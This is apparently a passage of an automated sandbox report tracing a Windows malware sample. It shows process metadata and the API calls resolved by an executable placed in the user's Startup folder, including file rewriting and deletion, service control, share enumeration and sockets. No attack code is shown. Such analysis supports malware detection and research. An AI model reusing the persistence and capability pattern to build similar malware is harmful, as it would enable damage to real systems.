[324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0145.983] ResumeThread (hThread=0x1b0) returned 0x1 [0145.983] ExitProcess (uExitCode=0x0) [0145.984] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d07d0 | out: hHeap=0x3d0000) returned 1 Thread: id = 209 os_tid = 0x688 Thread: id = 324 os_tid = 0x678 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x17606000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc22" [0xc000000f], "LOCAL" [0x7] Thread: id = 162 os_tid = 0x154 Thread: id = 163 os_tid = 0x128 Thread: id = 164 os_tid = 0x134 Thread: id = 165 os_tid = 0x130 Thread: id = 166 os_tid = 0x118 Thread: id = 167 os_tid = 0x11c Thread: id = 169 os_tid = 0x5b8 Thread: id = 237 os_tid = 0x790 Thread: id = 238 os_tid = 0x798 Thread: id = 239 os_tid = 0x7a4 Thread: id = 243 os_tid = 0x7bc Thread: id = 247 os_tid = 0x7e0 Thread: id = 265 os_tid = 0x7f0 Thread: id = 270 os_tid = 0x40c Thread: id = 276 os_tid = 0x218 Thread: id = 277 os_tid = 0x210 Thread: id = 281 os_tid = 0x50c Thread: id = 392 os_tid = 0x78c Process: id = "21" image_name = "reader_sl.exe" filename = "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe" page_root = "0x75f1d000" os_pid = "0x5f4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x4f0" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 174 os_tid = 0x5f8 Thread: id = 185 os_tid = 0x630 Thread: id = 210 os_tid = 0x6fc Thread: id = 388 os_tid = 0x14c Thread: id = 389 os_tid = 0x55c Process: id = "22" image_name = "adobearm.exe" filename = "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe" page_root = "0x74a3e000" os_pid = "0x610" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x4f0" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 177 os_tid = 0x614 Thread: id = 204 os_tid = 0x63c Thread: id = 205 os_tid = 0x640 Process: id = "23" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x76868000" os_pid = "0x56c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 178 os_tid = 0x5a4 Thread: id = 179 os_tid = 0x5a0 Thread: id = 180 os_tid = 0x59c Thread: id = 181 os_tid = 0x58c Thread: id = 182 os_tid = 0x574 Thread: id = 183 os_tid = 0x570 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1dfed000" os_pid = "0x324" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b9e8" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 186 os_tid = 0x414 Thread: id = 187 os_tid = 0x124 Thread: id = 188 os_tid = 0x120 Thread: id = 189 os_tid = 0x3f4 Thread: id = 190 os_tid = 0x3f0 Thread: id = 191 os_tid = 0x3e8 Thread: id = 192 os_tid = 0x3e4 Thread: id = 193 os_tid = 0x3d4 Thread: id = 194 os_tid = 0x3d0 Thread: id = 195 os_tid = 0x39c Thread: id = 196 os_tid = 0x398 Thread: id = 197 os_tid = 0x388 Thread: id = 198 os_tid = 0x384 Thread: id = 199 os_tid = 0x36c Thread: id = 200 os_tid = 0x368 Thread: id = 201 os_tid = 0x344 Thread: id = 202 os_tid = 0x328 Thread: id = 211 os_tid = 0x700 Thread: id = 212 os_tid = 0x708 Thread: id = 213 os_tid = 0x70c Thread: id = 214 os_tid = 0x710 Thread: id = 216 os_tid = 0x718 Thread: id = 240 os_tid = 0x7a8 Thread: id = 241 os_tid = 0x7ac Thread: id = 242 os_tid = 0x7b8 Thread: id = 245 os_tid = 0x7d4 Thread: id = 266 os_tid = 0x7f4 Thread: id = 274 os_tid = 0x110 Thread: id = 390 os_tid = 0x690 Thread: id = 394 os_tid = 0x37c Thread: id = 395 os_tid = 0x4b0 Thread: id = 436 os_tid = 0x70c Process: id = "25" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1e4a0000" os_pid = "0x254" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00006d16" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 248 os_tid = 0x7a0 Thread: id = 249 os_tid = 0x734 Thread: id = 250 os_tid = 0x71c Thread: id = 251 os_tid = 0x65c Thread: id = 252 os_tid = 0x318 Thread: id = 253 os_tid = 0x2ac Thread: id = 254 os_tid = 0x2a4 Thread: id = 255 os_tid = 0x2a0 Thread: id = 256 os_tid = 0x288 Thread: id = 257 os_tid = 0x284 Thread: id = 258 os_tid = 0x280 Thread: id = 259 os_tid = 0x27c Thread: id = 260 os_tid = 0x278 Thread: id = 261 os_tid = 0x26c Thread: id = 262 os_tid = 0x264 Thread: id = 263 os_tid = 0x260 Thread: id = 264 os_tid = 0x258 Process: id = "26" image_name = "rundll32.exe" filename = "c:\\windows\\system32\\rundll32.exe" page_root = "0x6fe9e000" os_pid = "0x49c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x254" cmd_line = "rundll32.exe C:\\Windows\\system32\\newdev.dll,pDiDeviceInstallNotification \\\\.\\pipe\\PNP_Device_Install_Pipe_1.{9dd5918c-9b03-4e19-90b9-4d46fb2155bf} \"(null)\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 283 os_tid = 0x478 Thread: id = 284 os_tid = 0x350 Thread: id = 286 os_tid = 0x538 Thread: id = 288 os_tid = 0x310 Thread: id = 289 os_tid = 0x5cc Thread: id = 367 os_tid = 0x674 Process: id = "27" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x707b1000" os_pid = "0x314" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 287 os_tid = 0x330 Thread: id = 291 os_tid = 0x5e8 Thread: id = 292 os_tid = 0x4f4 Thread: id = 293 os_tid = 0x4f0 Thread: id = 294 os_tid = 0x5fc Thread: id = 295 os_tid = 0x600 Thread: id = 297 os_tid = 0x63c Process: id = "28" image_name = "dinotify.exe" filename = "c:\\windows\\system32\\dinotify.exe" page_root = "0x3426000" os_pid = "0x5a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "26" os_parent_pid = "0x49c" cmd_line = "\"C:\\Windows\\System32\\dinotify.exe\" pnpui.dll,SimplifiedDINotification" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 290 os_tid = 0x55c Thread: id = 298 os_tid = 0x614 Process: id = "29" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7716d000" os_pid = "0x57c" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001761b" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 299 os_tid = 0x34c Thread: id = 300 os_tid = 0x418 Thread: id = 301 os_tid = 0x7fc Thread: id = 302 os_tid = 0x7f8 Thread: id = 303 os_tid = 0x7ec Thread: id = 304 os_tid = 0x7e8 Thread: id = 305 os_tid = 0x7d0 Thread: id = 306 os_tid = 0x79c Thread: id = 307 os_tid = 0x794 Thread: id = 308 os_tid = 0x6d0 Thread: id = 309 os_tid = 0x6cc Thread: id = 310 os_tid = 0x6c8 Thread: id = 311 os_tid = 0x6c4 Thread: id = 312 os_tid = 0x6b4 Thread: id = 313 os_tid = 0x694 Thread: id = 314 os_tid = 0x68c Thread: id = 315 os_tid = 0x684 Thread: id = 316 os_tid = 0x668 Thread: id = 317 os_tid = 0x628 Thread: id = 318 os_tid = 0x5ec Thread: id = 319 os_tid = 0x5dc Thread: id = 320 os_tid = 0x5d0 Thread: id = 321 os_tid = 0x590 Thread: id = 322 os_tid = 0x580 Process: id = "30" image_name = "n.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe" page_root = "0x6df8b000" os_pid = "0x6b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x504" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 326 os_tid = 0x6bc [0146.009] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x762e0000 [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="GetProcAddress") returned 0x762f1222 [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="GetModuleHandleW") returned 0x762f34b0 [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="FindNextFileW") returned 0x762f54ee [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="FindClose") returned 0x762f4442 [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="MoveFileW") returned 0x76309af0 [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="GetFileSizeEx") returned 0x762f59e2 [0146.101] GetProcAddress (hModule=0x762e0000, lpProcName="GetModuleFileNameW") returned 0x762f4950 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetFileAttributesW") returned 0x762f1b18 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="ExitProcess") returned 0x762f7a10 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetCommandLineW") returned 0x762f5223 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetComputerNameW") returned 0x762fdd0e [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetComputerNameA") returned 0x7630b6e0 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="CreateMutexW") returned 0x762f424c [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="lstrlenW") returned 0x762f1700 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="lstrlenA") returned 0x762f5a4b [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetCurrentProcess") returned 0x762f1809 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="WaitForSingleObject") returned 0x762f1136 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetLogicalDrives") returned 0x762f5371 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="GetTickCount") returned 0x762f110c [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="DeleteFileW") returned 0x762f89b3 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="WideCharToMultiByte") returned 0x762f170d [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x762f1916 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="Sleep") returned 0x762f10ff [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="LeaveCriticalSection") returned 0x77bb2270 [0146.102] GetProcAddress (hModule=0x762e0000, lpProcName="ReadFile") returned 0x762f3ed3 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="CreateFileW") returned 0x762f3f5c [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="OpenMutexW") returned 0x762f5151 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="EnterCriticalSection") returned 0x77bb22b0 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="WaitForMultipleObjects") returned 0x762f4220 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="lstrcmpiW") returned 0x7630d5cd [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="lstrcmpiA") returned 0x762f3e8e [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="DeleteCriticalSection") returned 0x77bc45f5 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="ReleaseMutex") returned 0x762f111e [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="CloseHandle") returned 0x762f1410 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="GetVersion") returned 0x762f4467 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="CreateThread") returned 0x762f34d5 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x762f4173 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="QueryPerformanceCounter") returned 0x762f1725 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="QueryPerformanceFrequency") returned 0x762f41f0 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="GetCurrentProcessId") returned 0x762f11f8 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="SetFileAttributesW") returned 0x7630d4f7 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="GetVolumeInformationW") returned 0x7630c860 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="WriteFile") returned 0x762f1282 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="SetFilePointerEx") returned 0x7630c807 [0146.103] GetProcAddress (hModule=0x762e0000, lpProcName="SetEndOfFile") returned 0x7630ce2e [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="FindFirstFileW") returned 0x762f4435 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="GetProcessHeap") returned 0x762f14e9 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="HeapReAlloc") returned 0x77bd1f6e [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="HeapAlloc") returned 0x77bbe026 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="HeapFree") returned 0x762f14c9 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="CreatePipe") returned 0x7637415b [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="SetHandleInformation") returned 0x7630195c [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="CreateProcessW") returned 0x762f103d [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="CompareStringW") returned 0x762f3bca [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="CompareStringA") returned 0x762f3c5a [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="OpenProcess") returned 0x762f1986 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="TerminateProcess") returned 0x7630d802 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="GetSystemTime") returned 0x762f5a96 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="SystemTimeToFileTime") returned 0x762f5a7e [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="GetLastError") returned 0x762f11c0 [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7631735f [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="Process32NextW") returned 0x7631896c [0146.104] GetProcAddress (hModule=0x762e0000, lpProcName="Process32FirstW") returned 0x76318baf [0146.104] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0146.170] GetProcAddress (hModule=0x76630000, lpProcName="RegOpenKeyExW") returned 0x7664468d [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="RegQueryValueExW") returned 0x766446ad [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="RegSetValueExW") returned 0x766414d6 [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="RegCloseKey") returned 0x7664469d [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="OpenProcessToken") returned 0x76644304 [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="GetTokenInformation") returned 0x7664431c [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="OpenSCManagerW") returned 0x7663ca64 [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="OpenServiceW") returned 0x7663ca4c [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="CloseServiceHandle") returned 0x7664369c [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="ControlService") returned 0x76657144 [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="QueryServiceStatus") returned 0x76642a86 [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="EnumDependentServicesW") returned 0x76631e3a [0146.171] GetProcAddress (hModule=0x76630000, lpProcName="EnumServicesStatusExW") returned 0x7663b466 [0146.171] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d50000 [0146.351] GetProcAddress (hModule=0x75d50000, lpProcName="SystemParametersInfoW") returned 0x75d690d3 [0146.351] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76810000 [0146.354] GetProcAddress (hModule=0x76810000, lpProcName="ShellExecuteExW") returned 0x76831e46 [0146.355] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b90000 [0146.355] GetProcAddress (hModule=0x77b90000, lpProcName="NtQuerySystemInformation") returned 0x77bafda0 [0146.355] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x755f0000 [0146.610] GetProcAddress (hModule=0x755f0000, lpProcName="WNetCloseEnum") returned 0x755f2dd6 [0146.611] GetProcAddress (hModule=0x755f0000, lpProcName="WNetOpenEnumW") returned 0x755f2f06 [0146.611] GetProcAddress (hModule=0x755f0000, lpProcName="WNetEnumResourceW") returned 0x755f3058 [0146.611] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x763f0000 [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="WSAStartup") returned 0x763f3ab2 [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="socket") returned 0x763f3eb8 [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="send") returned 0x763f6f01 [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="recv") returned 0x763f6b0e [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="connect") returned 0x763f6bdd [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="closesocket") returned 0x763f3918 [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="gethostbyname") returned 0x76407673 [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="inet_addr") returned 0x763f311b [0146.613] GetProcAddress (hModule=0x763f0000, lpProcName="ntohl") returned 0x763f2d57 [0146.614] GetProcAddress (hModule=0x763f0000, lpProcName="htonl") returned 0x763f2d57 [0146.614] GetProcAddress (hModule=0x763f0000, lpProcName="htons") returned 0x763f2d8b [0146.614] GetProcessHeap () returned 0x600000 [0146.614] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x20) returned 0x6143b8 [0146.614] 